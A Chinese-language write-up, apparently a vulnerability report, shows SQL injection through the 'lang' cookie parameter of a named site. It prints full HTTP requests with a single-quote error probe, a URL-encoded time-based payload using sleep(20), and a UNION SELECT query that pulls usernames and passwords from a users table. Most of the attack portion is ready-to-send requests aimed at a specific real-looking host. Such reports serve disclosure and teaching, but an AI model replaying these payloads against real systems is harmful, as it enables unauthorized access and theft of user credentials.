通過cookie中的參數(shù)所引發(fā)的sql注入

前言

在請求的cookie參數(shù)中，有一個名為lang的參數(shù)存在SQL注入漏洞。

在這個參數(shù)中注入一個單引號（'）時，會引發(fā)SQL語法錯誤；而注入第二個單引號后，錯誤會消失。這表明參數(shù)中的輸入沒有正確地進行轉(zhuǎn)義或過濾，從而使得惡意的SQL代碼得以執(zhí)行。

正文

正常情況下和受到攻擊時的請求示例：

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

受到sql注入攻擊時候的請求

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en'; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

報錯如下：

當然也可以使用 查詢語句：

'%2b(select*from(select(sleep(20)))a)%2b'

將構(gòu)造好的查詢注入到原始的HTTP請求中，發(fā)送給目標服務(wù)器。注入點是請求的cookie參數(shù)lang：

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en%2b(select*from(select(sleep(20)))a)%2b; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

發(fā)送請求后，觀察服務(wù)器的響應(yīng)時間。如果服務(wù)器在處理請求時出現(xiàn)明顯的延遲（如20秒），則表明注入的查詢被服務(wù)器執(zhí)行了。這個時間延遲是由SQL中的SLEEP(20)函數(shù)引起的。

確認sql注入存在以后 ,進行漏洞利用

攻擊者可以構(gòu)造各種惡意SQL查詢來竊取或修改數(shù)據(jù)。例如，通過以下查詢來竊取用戶信息：

' UNION SELECT username, password FROM users --

發(fā)送惡意請求 攻擊者將惡意查詢注入到lang參數(shù)中，并發(fā)送請求：

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en' UNION SELECT username, password FROM users -- ; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1

攻擊者檢查服務(wù)器的響應(yīng)，查看是否包含用戶數(shù)據(jù)。如果成功，攻擊者就能夠獲取數(shù)據(jù)庫中的敏感信息。